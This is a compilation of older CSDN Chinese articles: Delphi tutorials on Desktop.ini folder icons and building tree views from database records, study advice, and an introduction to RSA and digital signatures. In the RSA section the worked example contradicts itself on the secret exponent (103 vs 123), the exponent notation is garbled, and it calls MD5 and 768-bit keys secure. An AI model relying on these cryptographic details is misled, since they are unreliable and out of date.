最起码的这句话应该这样写Button1.Caption:='快速开发';而最好要写成Self. Button1.Caption:='快速开发';这才不会以偏盖全。

我们要做的事面向对象，而不是基于对象。

要你去写对一个文件的操作（如DBF文件）你会如何写呢？

定义一堆结构，写一堆函数。然后去挨个调用这些函数对文件进行操作。

还是定义一个DBF文件的类，然后把对它的操作都封装起来，只留下需要调用的函数（如读、写）作为公有。

或许第一种方法的代码要远远的少于第二种。但第二种有着第一种方法不可比拟的优势。

1． 思路清晰，更符合人的逻辑思维。而第一种方法更像一盘散沙。

2． 安全可靠，我只把共有函数让你调用，而其他的都由内部封装好了，你根本看不见，也不需要考虑它是如何实现的。

3． 方便维护，哪个地方错了我只要把这个类的相关部分作以下改动即可，不会造成混乱。

好处不止这些。

我的意思是说要多多运用面向对象的方法，不要成为基于对象的工人。


CSDN_文档中心_个性化Folder Icon（Delphi）

抛弃Windows的默认图标吧，让自己的程序所在的目录拥有个性化的Folder Icon！
其实作起来简单得很，实际上只需要一个Desktop.ini文件即可，下面我会从两个方面说明。

1. 手动方式：

首先要在需要改变的文件夹中创建一个Desktop.ini文件，例子如下
[.ShellClassInfo]
ConfirmFileOp=0
InfoTip=我自己的文件夹
IconIndex=0
IconFile=MyFolder.ico
解释：
参数ConfirmFileOp设为0--防止用户在移动或删除此文件夹时弹出的“你正在删除系统目录”的警告。
参数IconFile指定为将要改变的图标文件的位置，可以是Icon、Bmp、exe或者dll文件，上例中的图标文件也放置到同一目录中。
参数IconIndex就可以指定文件的索引，如果此图标文件是Icon文件的话，IconIndex就设为0。
参数InfoTip用来设定此Folder在Windows中的Tooltip。

下一步打开CMD（命令提示符），输入
attrib +s i:\MyFolder
i:\MyFolder指的就是我要改图标的目录的路径。此项操作是让你的文件夹成为系统文件夹。

好了，经过手动处理后现在的目录已经改变了风格。

2. 编程方式：

这种方式是用我喜欢的Delphi来实现的，实现起来也同样Easy。
一个用来操作Ini文件的建立，另一个的功能等同于手动方式中的attrib +s。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,IniFiles, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
MyIniFile: TIniFile;
begin
//以下几步用于创建Desktop.ini文件
//不存在ini文件时，会自己创建ini
MyIniFile := TIniFile.Create(ExtractFilePath(Application.ExeName )+'Desktop.ini');
MyIniFile.WriteString('.ShellClassInfo', 'ConfirmFileOp', '0');
MyIniFile.WriteString('.ShellClassInfo', 'InfoTip', '我的文件夹因此而改变');
MyIniFile.WriteString('.ShellClassInfo', 'IconIndex', '0');
MyIniFile.WriteString('.ShellClassInfo', 'IconFile', ExtractFileName(Application.ExeName));
MyIniFile.Free;
//让文件夹成为系统文件夹
SetFileAttributes(PChar(ExtractFilePath(Application.ExeName)), GetFileAttributes(PChar(ExtractFilePath(Application.ExeName))) OR FILE_ATTRIBUTE_SYSTEM);
end;

end.

如果你使用的是主窗口的图标的话，Delphi编译后的程序的图标的索引是0。

本示例在Win2000和Delphi6中调试通过


CSDN_文档中心_各位帮帮我啊？？学delphi5困扰！！

我是一个Delphi5的入门学习者，在学习中遇到了一些问题想问你一下。我是自学的，我以前对Delphi一点也不知道，我就直接从Delphi5学起了，我对Delphi5的编程风格及规范不了解，我买了两本入门的书，那些书里讲的不是很好，特别是对编程的事件的编写代码说的不好，比如：
procedure TForm1.openButtonClick(Sender: TObject);
var s:string;
begin
if not opendialog1.execute then exit;
mpeg.autoplay:=false;
mpeg.streamname:=opendialog1.filename;
mpeg.open;
trackbar1.Max:=mpeg.length;
trackbar1.position:=0;
str(trackbar1.max,s);
playbutton.Enabled:=true;
stopbutton.enabled:=true;
pausebutton.Enabled:=true;
end;
中的mpeg.autoplay:=false;
mpeg.streamname:=opendialog1.filename;
mpeg.open;
meg后面的“.autoplay“不知道什么意思？
还有很多像这些的东西书上也没说这些属性是干什么的，有的比这个更深奥，就是不知道那里来的，我想问问我该怎么学？
我有一本电子工业出版社的《Delphi5基础与提高》。人民邮电出版社的《Delphi5编程指南》，清华大学的《Delphi5开发指南》。不怎么样，我想学学Delphi5的编程不是技巧，设计窗体之类的无聊的东西.
我很喜爱编程，我学过C，Qbasic,Foxbase,Pascal,等等。
程序的爱好者


CSDN_文档中心_给大学生的十五条建议

给大学生的十五条建议

苏霍姆林斯基

摘自：华东师范大学出版社，《大学活叶文集》，第7辑（1998年12月版）

[作者简介] 瓦西里·亚里山德罗维奇·苏霍姆林斯基（1918-1970），教育家，
前苏联教育科学院通讯院士。著有《关于人的思考》、《公民的诞生》、《给教
师的一百条建议》等。
[题解] 正在上大学的儿子抱怨“一项工作紧逼着另一项工作，而一天却转瞬即
逝，原定要做完的工作结果又没能完成”——这也正是多数不甘堕落到以混学分
自足、混日子自满的大学生常有的焦虑。于是，这位对学生特性有着深透了解的
杰出教育家根据亲身经验，有针对性的提供了以下这些具体建议。选自苏霍姆林
斯基《给儿子的信》。
（一）首先并且最重要的这点去年我就写信对你讲过，这就是在听课时要善于赢
得时间的积累。不善于听课就会使大学生的脑力劳动出现一些“突击”时期：考
查（或考试）前几天，他就翻阅听课笔记，而到考查时则一天只睡二三小时。本
应日常完成的全部工作被一天天地堆到这些“紧急日子”里去做。应当防止这种
“火急”地、彻夜不眠突击对付钻笔记的做法。要学习在课上就思考笔记，并且
每天去钻研所记的东西。如果你能在各门学科上都坚持按这样的要求做的话，你
就不会有“突击”的日子。
（二）你想要有足够的时间，就要每天都阅读。每天要仔细钻研几页（四至六页）
多少与教学科目有关的学术著作。除此之外，看书要认真并且要思考，而每天要
阅览（也就是说不要做笔记）的科学和科普读物不要少于十至十五页。你所阅读
的一切，就是你用以治学的精神财富的积累，这个积累越雄厚，就越容易学习。
要善于强迫自己每天看书。不要把这项工作拖到明天。今天的丢失，明天无论如
何也无法弥补。
（三）要在清晨尽早开始一天的工作，约六点钟开始。要五点半起床，做早操，
喝杯牛奶吃块面包，然后就开始工作。当你已经习惯于六点钟开始工作之后，你
就力争再提早十五到二十分钟。这是一种很好的内部刺激因素，它会对全天的工
作都有影响。
清早上课前的 一个半小时的脑力劳动，这是极宝贵的时间。我所完成的一切都是
在早晨做的。三十年来，我都是清晨五点钟开始自己一天的工作，一直工作到八点。
三十本教育方面的书和三百多篇其他学术论文，都是在早晨五点至八点写成的。我
已经形成了一种脑力劳动的节奏，乃至即使我想在早晨这个时间睡觉——也是睡不
成的。因为这段时间里我全身心都准备着进行脑力劳动。
我建议你在早晨这一个半小时内从事最复杂的创造性脑力劳动。去思考主要的理论
问题、钻研艰深的理论文章、撰写论文等。如果你有含有研究因素的脑力工作，只
在清晨的时间去做。
这样，你就不会看书看到半夜了。要把你的作息时间安排得能在十点半以前就入睡。
这样可以消除疲劳。
（四）要善于弄清自己脑力劳动得系统。这是一个极其重要得规律，许多方面都取
决于它。我这里指的是对主要与次要部分之间的相互关系如何理解。要善于在时间
上把主要的内容安排得使它不至于居于次要的内容之后。主要的内容要每天都进行，
主要的学术问题应当放在你清晨脑力劳动的首位。要善于找出主要学术问题方面的
基本书籍和学术著作，长时间地对它们进行研究。
（五）要善于给自己建立一种内在的刺激因素。脑力劳动钟的许多内容并不是有趣
得使人很乐意去做。往往唯一有推动力的刺激因素就是“应该”。正是要由此开始
进行脑力劳动。要善于聚精会神关注到这种程度，致使这个“应该”慢慢地变成
“想要”去做。最有趣的总要留到工作末尾去做。
（六）你的周围有一个浩瀚的书刊海洋。大学生时代要非常严格慎重地选择阅读的
书籍和杂志。爱钻研和求知欲望旺盛的人总是想博览一切，然而这是做不到的。要
善于限制阅读范围，要从中排除那些可能会破坏学习制度的书刊。然而同时要记住，
任何时候都可能产生必须读一本新书的情况，而这是你预先没有列入计划的。因此
就需要有时间的储备，而这个储备正如我已提过的那样要从巧于听课和钻研笔记时
的脑力劳动、从防止“突击”日中赢得。
（七）要善于自己对自己说：不！你的周围有多种活动：既有科学小组，又有业余
艺术小组；既有运动组，又有舞蹈晚会；也有许多可以消磨时间的俱乐部。因此要
善于表现出自己的坚定性。在许多这类活动中都包含着一些可能给你带来极大危害
的诱惑。当然，既应当娱乐，也应该休息。然而不能忘记主要的事情：你是一个劳
动者，国家在你身上花费着大量资金，因此居于首位的不应是跳舞和休息，而应是
劳动。
（八）不要把时间浪费在琐事上。我指的是闲扯和白白消磨光阴。常常有这种情况：
几个人在房间里一坐，就开始了——像乌克兰人说的那样——侃大山，一个钟头，
两个钟头过去了，无所事事，谈话中没有产生任何有益的思想，而时间却一去不复
返。要善于把与同志们的交谈也变为充实自己精神世界的源泉。
（九）要学会如何减轻自己今后的脑力劳动。这里说的是要学会赢得时间的储备。
为此，就要习惯于建立记笔记的方法。我现在备有近四十本笔记，每一本供记录教
育学中某个问题的一些新鲜的、但是转瞬即逝的想法（这些想法习惯于在脑子里闪
现一次，而不再现）。笔记中我从所读过的有关这些问题的书籍中摘录一些最有意
思和最出色的内容。所有这一切将来都有用，而且能大大减轻脑力劳动。我知道你
现在也有一些笔记，但是还不成系统。你要建立明确的作笔记的系统，以减轻自己
的脑力劳动。
（十）对任何一项工作都要找出最合理的脑力劳动方式。要避免老一套和因循守旧。
在你深入思考所触及的各种事实、现象和规律的本质时，不要吝惜时间。你对问题
考虑的越深入，你记忆得就越牢固。没有理解之前，不要试图去记忆；这会浪费时
间。要学会并非阅读而是翻阅那些你尚未理解得东西。因为任何走马观花式的做法
都会导致使你不得不多次再回过头来研究个别事实、现象和规律。
（十一）如果同房间生活的所有人不能协商好严格遵守某些要求，则个人的脑力劳
动就不可能顺利进行。因此，首先要商定在严格规定的时间内绝对禁止说话、争论、
和做各种破坏安静的事。在集中精力进行脑力劳动的时间内，每个人都应完全独立
地工作。如果有条件在阅览室工作的话要尽量利用它。
（十二）脑力劳动要求逻辑思维和形象思维交替进行。科学著作要同小说交替阅读。

（十三）要善于克服坏习惯。我指的是这样一些习惯：开始工作前闲坐十五分钟、二
十分钟；没有任何必要地一项项乱翻那些明知不准备看地书；睡醒后在被窝里再躺十
五分钟，等等。
（十四）“明天”是勤劳最危险的敌人。任何时候都不要把今天应该完成的某一部分
工作拖到明天。要培养把明天工作的一部分提前到今天完成的习惯。这将是一种最好
的、对明天全天都有影响的内部刺激因素。
（十五）任何时候一天也不要中断脑力劳动。暑假也不要扔下书本，每天应当用各种
珍贵的精神财富来充实自己。
（张天衡等 译）

如果看完了，帮着提前，谢谢


CSDN_文档中心_根据数据库表中记录自动构造一棵结构树的一种高效算法

根据数据库表中记录自动构造一棵结构树的一种高效算法
www.lvyin.net 2002-4-19 绿荫网络

一、前言：
在好多场合下，都存在着很多像树一样的结构；如公司机构、军队职务、图书管理等，甚至好多论坛上的信息都是以树形的结构显示出来的。由于这样的结构存在无限子类、无限级别、信息多变的特点。无法由一开始就设计好一种结构，而往往这种结构是随时都可能改变的。这样，就需要有一种可以根据一批信息自动构造一棵结构树的算法。
当今绝大多数信息是以数据库的形式保存起来的，下面我们就以数据库为操作源，以Delphi为编程工具，介绍一种根据数据库表中记录自动构造一棵结构树的一种高效算法。

二、数据库表结构设计：
数据库表的结构设计关系到构造树的难易程序与速度，所以数据库表结构一定要设计合理，巧妙！在本算法中，数据库表结构关系到构造树的有三个字段，它们分别是：

字 段 名

代 表 意 义

 字段类型

其它说明

NodeID

 结点自身ID号

自动编号

关键字

NodeName

结点名称

字符类型

不能为空

PNodeID

 父结点ID号

长整形

 不能为空，默认值为0 表示为一级结点

当然还可以加入其它字段作为实际意义的信息记录，不过构造一棵结构树只需要用到上面所提到的三个字段。下面是一张数据库表的例子：

三、数据结构设计：
同样，为了使构造好的一棵树中每一个结点都能对应到实际表中的相应记录（即当选择某结点时，表指针能自动指向相应的记录），必须设计一个结构体；结构体如下（Pascal描述）：
// 定义树结点与数据库表记录对应的结构体
type
PNode = ^TNode;
TNode = record
FID:integer; // 记录的ID号
FBM:TBookMark; // 定位记录的指针（书签）
end;

四、算法：
1、首先，数据库必须打开，使用一个查询得到要构造树的表，得到的表已经按一定的规则排好序；其SQL执行语句如下：
select * from Department order by PNodeID,NodeID
2、为了构造一棵属于自已的子树，可以选构造一棵属于自已的一级子树，然后采用递归算法，以子结点为子树的根结点，逐个构造它们的一级子树；逐层构造，递归，这样就形成了一棵我们想要得到的结构树；
3、为了构造一棵属于自已的一级子树，我们可以用一个Select 语句查询得到所有属于自已的子结点记录，但是我们不这样做，因为这样会反复执行好多次Select 语句，造成多次进行磁盘操作甚至网络访问，导致速度变慢，而且不方便结点与记录的感应；在这里，我们充分的利用了已打开表已经排好序的特点，利用DataSet 的Local方法找到第一个子结点的记录，然而表已按父结点排好序，如果有兄弟结点，肯定是紧跟其后；当我们找到第一个子结点后，再一条一条的下移一条记录，如果有相同的父结点，我们加入到树中，如果没有了或已到表结尾了，构造一级子树完毕，就返回（此时，记得将记录回滚到上一条）。
4、在把表记录作为树结点添加的同时，在内存中分配一个存放TNode结构的空间，并存入记录ID号和记录在数据库表中的位置（即书签），并把树结点的数据指针指向该内存地址。
5、到此，一棵结构树自动构造成功。

五、流程图：

六、源代码：
unit BuildTreeUnit;

interface

uses
DB, ADODB, ComCtrls;

// 定义树结点对数据库表记录对应的结构体
type
PNode = ^TNode;
TNode = record
FID:integer; // 记录的ID号
FBM:TBookMark; // 定位记录的指针（书签）
end;

function BuildTree(DataSet: TADODataSet; TV: TTreeView; SelfField,SelfName,ParentField:String):boolean;

implementation

function BuildTree(DataSet: TADODataSet; TV: TTreeView; SelfField,SelfName,ParentField:String):boolean;
{ 以下子函数为在表中查找第一个PNode=AIndex的记录}
function FindKey(AIndex: integer; FFirst:boolean): boolean;
begin
Result:=DataSet.Locate(ParentField,AIndex,[loCaseInsensitive]);
end;
{ 以下函数在FindKey的基础上找出下一个符合的记录}
function FindNext(AIndex: integer): boolean;
begin
DataSet.Next;
if DataSet.Eof then
Result:=false
else
Result:=DataSet.FieldValues[ParentField]=AIndex;
if not Result then DataSet.Prior;
end;
{ 以下函数据构造当前结点的一级子树 }
function GetChildNode(index: integer; ANode: TTreeNode):integer;
var
MyNode:PNode;
Node:TTreeNode;
begin
if FindKey(index,true) then
begin
new(MyNode);
with DataSet do
begin
MyNode^.FID :=FieldValues[SelfField];
MyNode^.FBM :=GetBookmark;
end;
Node:=TV.Items.AddChild(ANode,DataSet.FieldValues[SelfName]);
Node.Data:=MyNode;
Result:=1;
while FindNext(index) do
begin
new(MyNode);
with DataSet do
begin
MyNode^.FID :=FieldValues[SelfField];
MyNode^.FBM :=GetBookmark;
end;
Node:=TV.Items.AddChild(ANode,DataSet.FieldValues[SelfName]);
Node.Data:=MyNode;
Result:=Result+1;
end;
end
else
Result:=0;
end;
{ 以下函数据以ANode 为结当，构造一棵属于自己的子树}
procedure BuildMe(AIndex: integer; ANode: TTreeNode);
var
NodeNum:integer;
Node:TTreeNode;
i:integer;
begin
NodeNum:=GetChildNode(AIndex,ANode);
if NodeNum>0 then
begin
if ANode=nil then Node:=TV.Items.GetFirstNode
else
Node:=ANode.getFirstChild;
for i:=1 to NodeNum do
begin
BuildMe(PNode(Node.Data)^.FID,Node);
Node:=ANode.GetNextChild(Node);
end;
end;
end;
// 组合部份
begin
if (DataSet=nil) or (DataSet.Active =false) then
Result:=false
else if (TV=nil) then
Result:=false
else begin
TV.Items.Clear;
BuildMe(0,nil);
Result:=true;
end;
end;

end.


CSDN_文档中心_公开密钥密码系统

公开密钥密码系统

引言
随着计算机和电子通讯技术,包括因特网的迅猛发展,金融电子化的步伐大大加快,这 种电子化、数字化的趋势已经波及社会生活的几乎所有的方面。人与人之间的许多交往活 动,包括商业贸易、金融财务和其他经济活动中,不少已以数字化信息的方式在网上流动着 。"数字化经济"(Digital Economy)的图景已经浮现,电子商业、电子银行和电子货币的研 究、实施和标准化正在紧锣密鼓地进行中。许多传统上基于纸面的,常常需要签名盖章的 重要凭证,诸如纸币、存单、支票、股票、公函、合同、租约、遗嘱、选票、法律文书、 身份证件、学历证书等等,已陆续转化为数字电子媒体的形式出现。这种转化方兴未艾,前 景辉煌,虽然未必会有百分之百的转化,但对社会、经济、商业、金融乃至个人生活各方面 的影响将是深刻的。

然而,从基于纸面转化为基于数字电子媒体的形式后,在生成、传输、保存、验证和鉴 定等多方面出现了新的技术需求、问题和困难。无疑,其中最重要的是安全问题:怎样才能 确保原始信息不会被窃取、窃听?不能被伪造、篡改?怎样才能确认信息发送者的真实性? 怎样才能保证信息发送者无法抵赖?

必须注意,那些机密的、甚至价值连城的重要信息常常需要在公开的网络上传送。"公 开"和"机密"虽有其水火不相容的一面,在需要的场合,它们还是可以协调共存,相互补充的 。"公开密钥密码系统"(public-key cryptosystem,或称"公开密钥密码体制")的巧妙方法 比较成功地解决了上述问题,并已在业界得到了广泛的应用。

密码学
公开密钥密码体制是现代密码学的最重要的发明和进展。说起密码学(cryptography ,或称密码术),在大家的印象中,主题应该是保护信息传递的机密性。确实,保护敏感的通 讯一直是密码学多年来的重点。但是,这仅仅是当今密码学的主题的一个方面,对信息发送 人的身份的验证,正是密码学主题的另一方面。公开密钥密码体制为这两方面的问题都给 出了出色的答案,并正在继续产生许多新的思想和方案。

与"公开密钥密码体制"相对应的是"传统密码体制",又称"对称密钥密码体制",其中用 于加密的密钥与用于解密的密钥完全一样,如图1所示。

图1 对称密钥密码体制

在对称密钥密码体制中,加密运算与解密运算使用同样的密钥。通常,使用的加密算法 比较简便高效,密钥简短,破译极其困难。但是,在公开的计算机网络上安全地传送和保管 密钥是一个严峻的问题。1976年,Diffie和Hellman为解决密钥管理问题,在他们的奠基性 的工作"密码学的新方向"一文中,提出一种密钥交换协议,允许在不安全的媒体上通讯双方 交换信息,安全地达成一致的密钥。在此新思想的基础上,很快出现了"不对称密钥密码体 制",即"公开密钥密码体制",其中加密密钥不同于解密密钥,加密密钥公之于众,谁都可以 用,解密密钥只有解密人自己知道,分别称为"公开密钥"(public-key)和"秘密密钥"(priv ate-key),如图2所示。

图2 公开密钥密码体制

模算术
要了解公开密钥密码体制的基本原理,有必要简略地介绍一些初等数论的知识。先以 7日一循环的星期为例,我们有0,1,2,3,4,5,6这七个数,0代表星期日,或"0天",1代表星期 一,或"1天",依次类推。在这个"数系统"中,很容易得到加法表。如图3所示。

图3 模7加法表(mod 7)

这种加法就是所谓"模"计算,7是"模"值,可以写出:

5+4=2 mod 7(星期五加四天是星期二)

2+3=5 mod 7(星期二加三天是星期五)

3+4=0 mod 7(星期三加四天是星期日)等等。由于乘法是连加,乘幂是连乘,也就不难 写出模7乘法表和乘幂表。如图4,图5所示。这些特殊的运算,尤其是乘幂运算,再联系到" 星期几"已无多大意义。然而,在一些公开密钥密码系统中,同余乘幂运算有着重要的地位 ,不过"模"值远远超过7,是很大的数,往往是几百位的十进制数(或上千位的二进制数)。

图4 模7乘法表(mod 7)

图5 模7乘幂表(mod 7)

仔细观察一下图5中的模7乘幂表,可见对a=3而言,31、32、33、34、35、36正好填满 了1、2、3、4、5、6六个非零值,对a=5也有此性质,而对a=1、2、4、6则不然。我们称具 有这种性质的值为"生成元"。大家知道,乘幂运算的逆运算是对数运算,现在,图5中同余式 乘幂的逆运算结果如图6所示,有确切意义的仅有a=3和a=5两个"生成元"值。这种对数被称 为"离散对数",也可用log表示,如图6所示。离散对数的概念在公开密钥密码系统中,也有 着重要的地位。

图6 离散对数表(mod 7)

RSA公开密钥密码系统
RSA公开密钥密码系统是由R.Rivest、A.Shamir和L.Adleman于1977年提出的。RSA的 取名就是来自于这三位发明者的姓的第一个字母,后来,他们在1982年创办了以RSA命名的 公司RSA Data Security Inc.和RSA实验室,该公司和实验室在公开密钥密码系统的研究和 商业应用推广方面具有举足轻重的地位。

现在,用一个简单的例子来说明RSA公开密钥密码系统的工作原理。取两个质数p=11, q=13,p和q的乘积为n=p×q=143,算出另一个数z=(p-1)×(q-1)=120;再选取一个与z=120互 质的数,例如e=7(称为"公开指数"),对于这个e值,可以算出另一个值d=103(称为"秘密指数 ")满足e×d=1 mod z;其实7×103=721除以120确实余1。(n,e)和(n,d)这两组数分别为"公 开密钥"和"秘密密钥。"

设想张小姐需要发送机密信息(明文,即未加密的报文)s=85给李先生,她已经从公开媒 体得到了李先生的公开密钥(n,e)=(143,7),于是她算出加密值

c=s[RUe] mod n=85[RU7] mod 143=123并发送给李先生。李先生在收到"密文"(即经加密的报 文)c=123后,利用只有他自己知道的秘密密钥(n,d)=(143,123)计算123123 mod 143,得到 的值就是明文(值)85,实现了解密。其中的计算用一般公式来表达,是

c[RUd] mod n=(s[RUe])[RUd] mod n=s[RUed] mod n

根据初等数论中的欧拉(Euler)定理,应用s[RUz]=1 mod n,所以

s[RUed]=s mod n

所以,李先生可以得到张小姐发给他的真正的信息s=85。

自然,我们要问,在李先生向公众提供了公开密钥,密文c又是通过公开的途径传送的, 其安全性何在?

回答是,只要n足够大,例如,有512比特,或1024比特甚至2048比特,n=p×q中的p和q的 位数差不多大小,任何人只知道公开密钥(n,e),目前是无法算出秘密密钥(n,d)的。其困难 在于从乘积n难以找出它的两个巨大的质数因子。

对上面例子中的n=143,只是示意用的,用来说明RSA公开密钥密码系统的计算过程,从 143找出它的质数因子11和13是毫不困难的。对于巨大的质数p和q,计算乘积n=p×q非常简 便,而逆运算却难而又难,这是一种"单向性"。相应的函数称为"单向函数"。任何单向函数 都可以作为某一种公开密钥密码系统的基础,而单向函数的安全性也就是这种公开密钥密 码系统的安全性。

公开密钥密码系统的一大优点是不仅可以用于信息的保密通讯,又可以用于信息发送 者的身份验证(Authentication),或数字签名(Digital Signature),我们仍用例子来作示 意说明。

李先生要向张小姐发送信息m(表示他的身份,可以是他的身份证号码,或其名字的汉字 的某一种编码值),他必须让张小姐确信该信息是真实的,是由李先生本人所发的。为此,他 使用自己的秘密密钥(n,d)计算

s=md mod n建立了一个"数字签名",通过公开的通讯途径发给张小姐。张小姐则使李 先生的公开密钥(n,e)对收到的s值进行计算

s[RUe] mod n=(md)e mod n=m

这样,她经过验证,知道信息s确实代表了李先生的身份,只有他本人才能发出这一信息 ,因为只有他自己知道秘密密钥(n,d),其他任何人即使知道李先生的公开密钥(n,e),也无 法猜出或算出他的秘密密钥来冒充他的"签名"。

RSA的安全性
RSA公开密钥密码体制的安全性取决于从公开密钥(n,e)计算出秘密密钥(n,d)的困难 程度,而后者则等同于从n找出它的两个质因数p和q。因此,寻求有效的因数分解的算法就 是寻求一把锐利的"矛",来击穿RSA公开密钥密码系统这个"盾"。数学家和密码学家们一直 在刻苦努力寻求更锐利的"矛"和更坚固的"盾",而且不仅限于RSA一种方案。在此,我们只 考虑RSA的情况。

最简单的考虑是加厚我们的"盾",即n取更大的值,RSA实验室认为,512比特的n已不够 安全,在1997年或1998年后应停止使用。他们建议,现在的个人应用需要用768比特的n,公 司要用1024比特的n,极其重要的场合应该用2048比特的n。RSA实验室还认为,768比特的n 可望到2004年仍保持安全。

计算机硬件的迅速发展势头是不可阻挡的,这一因素对RSA的安全性是很有利的,因为 硬件的发展给"盾"带来的好处要多于"矛"。硬件计算能力的增强使我们可以给n加大几十 个比特,但不致放慢加密解密的计算,但同样水平的硬件计算能力的增强给予因数分解计算 的帮助却不那么大。

计算机软件和算法的发展对RSA的安全性的影响,情况比较复杂。至今,不管用怎样的 硬件和软件,大数的因数分解确实是极端困难的任务。

1977年,《科学的美国人》杂志悬赏征求分解一个129位十进数(426比特),直至1994年 3月,才由Atkins等人在因特网上动用了1600台计算机,前后花了八个月的时间,才找出了答 案。然而,这种"困难性"在理论上至今未能严格证明,但又无法否定。对于许多密码研究分 析人员和数学家而言,因数分解问题的"困难性"仍是一种信念,一种有一定根据的合理的信 念。

总之,随着硬件资源的迅速发展和因数分解算法的不断改进,为保证RSA公开密钥密码 体制的安全性,最实际的做法是不断增加模n的位数。

RSA的实用考虑
不对称密钥密码体制(即公开密钥密码体制)与对称密钥密码体制相比较,确实有其不 可取代的优点,但它的运算量远大于后者,超过几百倍、几千倍甚至上万倍,复杂得多。

在网络上全都用公开密钥密码体制来传送机密信息,是没有必要的,也是不现实的。在 计算机系统中使用对称密钥密码体制已有多年,既有比较简便可靠的,久经考验的方法,如 以DES(数据加密标准)为代表的分块加密算法(及其扩充DESX和Triple DES);也有一些新的 方法发表,如由RSA公司的Rivest研制的专有算法RC2、RC4、RC5等,其中RC2和RC5是分块加 密算法,RC4是数据流加密算法。

在传送机密信息的网络用户双方,如果使用某个对称密钥密码体制(例如DES),同时使 用RSA不对称密钥密码体制来传送DES的密钥,就可以综合发挥两种密码体制的优点,即DES 高速简便性和RSA密钥管理的方便和安全性。

关于RSA数字签名,前面的示意性介绍是不实用的,因为李先生的"签名"未与任何应签 署的报文(message)相联系,留下了篡改、冒充或抵赖的可能性。为了把那些千差万别报文 与数字签名不可分割地结合在一起,要设法从报文中提取一种确定格式的、符号性的摘要 ,称为"报文摘要"(message digest),更形象的说法是一种"数字指纹"(digital fingerpr int),然后对它"签名"并发送。

如果李先生要发送一个需签署的报文给张小姐,通讯安全软件会调用某种报文摘要算 法处理报文内容,得出一个数字指纹,然后用李先生自己的秘密密钥将它加密,这才是真正 的数字签名,将它同报文一并发送给张小姐。

张小姐收到报文和数字签名后,她用李先生的公开密钥将数字签名解密,恢复出数字指 纹。接着用李先生所用的一样的报文摘要算法处理报文内容,将算出的数字指文与收到的 经解密的数字指纹比较,如果两者完全相同,则李先生的数字签名被张小姐验证成功,她可 以相信报文是真实的,确实发自李先生。否则,报文可能来自别处,或者被篡改过,她有理由 拒绝该报文。

用上述方法,别人也不难读取报文并验证数字签名,这在实用中是不妥当的。为使报文 本身的内容不泄露给外人,李先生只要再添一个操作步骤:用张小姐的公开密钥先将待发的 报文加密,当然,张小姐在验证数字签名无误后,要用她自己的秘密密钥解密,才能得到原始 的机密信息。

即使这样做,别人还是可以插手验证数字签名,在实用中或许也要求改进,排除掉这种 可能性。其实,网上安全通讯实用中还有着多种不同的要求,研究人员已经提出了多种不同 的数字签名方案,以满足各种需求。其他不同的加密方案和数字签名方案,乃至不同的公开 密钥密码体制的研究,也正在紧锣密鼓地进行之中。

数字指纹
在数字签名中有重要作用的"报文摘要"算法,即生成报文"数字指纹"的方法,近年来倍 受关注,构成了现代密码学的一个重要侧面。

其实,报文摘要算法就是一类特殊的散列函数(hash函数,在计算机数据信息的检索过 程中有广泛应用),这些特殊要求是:

·接受的输入报文数据没有长度限制;

·对任何输入报文数据生成固定长度的摘要("数字指纹")输出;

·由报文能方便地算出摘要;

·难以对指定的摘要生成一个报文,由该报文可以得出指定的摘要;

·难以生成两个不同的报文具有相同的摘要。

显然,上面前三点是适用性的要求,保证对长短不一的报文易于生成同样大小的"数字 指纹";后三点则是安全性的要求,是建立在某种单向函数的基础之上的。

从八十年代末到九十年代,Rivest开发了好几种RSA公司专有的报文摘要算法,包括MD 、MD2、MD5等。以1991年发表的MD5为例,是克服了MD4算法的安全性缺陷的产物,"数字指 纹"的大小是128比特。1994年发表的一个研究报告称,可以花费一千万美元去制造一台专 门的机器,针对MD5搜索两个不同的报文具有相同的摘要,即"碰撞"现象,平均用24天才能找 到一个碰撞。至今,MD5被认为仍是一个安全的报文摘要算法。

专用数字签名方案
前面介绍的RSA数字签名方案的例子属于所谓"常规数字签名方案",这类方案具有如下 特点:

·签名者知道他签署的报文的内容;

·任何人只要知道签名者的公开密钥,就可以在任何时间验证签名的真实性,不需要签 名者的"同意"信号或来自其他方面的信号;

·具有基于某种单向函数运算的安全性。

但在电子货币、电子商业和其他的网络安全通讯的实用中,可能 要放宽或加强上列特 征中的一个或几个,或添上其他安全性特征,以适应各种不同的需求。

例如,在因特网上购买商品或服务,要向供应商(由银行)付款,顾客发出包含有他的银 行帐号或别的重要信息的付款报文,由收款者作出(电子)签名才能生效,但帐号之类的信息 又不宜泄露给签名者,以保证安全。这种情况,就要使用"专用数字签名方案"中的一种:"盲 签名方案"(Blind Signature Scheme)。

盲签名方案的工作原理是这样的:张小姐有报文m要求李先生签署,但不能让李先生知 道关于报文m的任何一点信息。设(n,e)是李先生的公开密钥,(n,d)是他的秘密密钥。张小 姐用她的安全通讯软件生成一个与n互质的随机数r,将

m′=r[RUe]m mod n发送给李先生,这样,李先生收到的是被r所"遮蔽"的m值,即m′,他不可 能从m′中获取有关m的信息。接着,李先生发回签名值

s′=(m′)d mod n=(r[RUe]m)d mod n=rmd mod n

张小姐对收到的s′计算

s′r-1 mod n=md mod n

就得到了真正的来自李先生的对m的签名

s=m[RUd] mod n

可见,运用盲签名方案,张小姐无法代替或冒充李先生的签名,而李先生则不知道他自 己所签署的报文的真实内容。

除了盲签名方案之外,我们简单介绍另外几种专用数字签名方案:

·"指定批准人签名方案"(Designated Confirmer Signature Scheme)

某个指定的人员可以自行验证签名的真实性,其他任何人除非得到该指定人员或签名 者的帮助,不能验证签名。

·"小组签名方案"(Group Signature Scheme)

一个小组的任一成员可以签署文件,验证者可以确认签名来自该小组,但不知道是小组 的哪一名成员签署了文件。

·"一次性签名方案"(One-time Signature Scheme)

仅能签署单个报文的签名方案。

·"不可抵赖签名方案"(Undeniable Signature Scheme)

在签名和验证的常规成分之外添上"抵赖协议"(Disavowal Protocol),则仅在得到签 名者的许可信息号后才能进行验证。

·带有"数字时间标记系统"(Digital Timestamping System)的签名方案

将不可篡改的时间信息纳入数字签名方案。

从列举的专用数字签名方案简介可以看到,为适应实用需求,数字签名方案是颇为丰富 多彩的。

Diffie-Hellman密钥一致协议
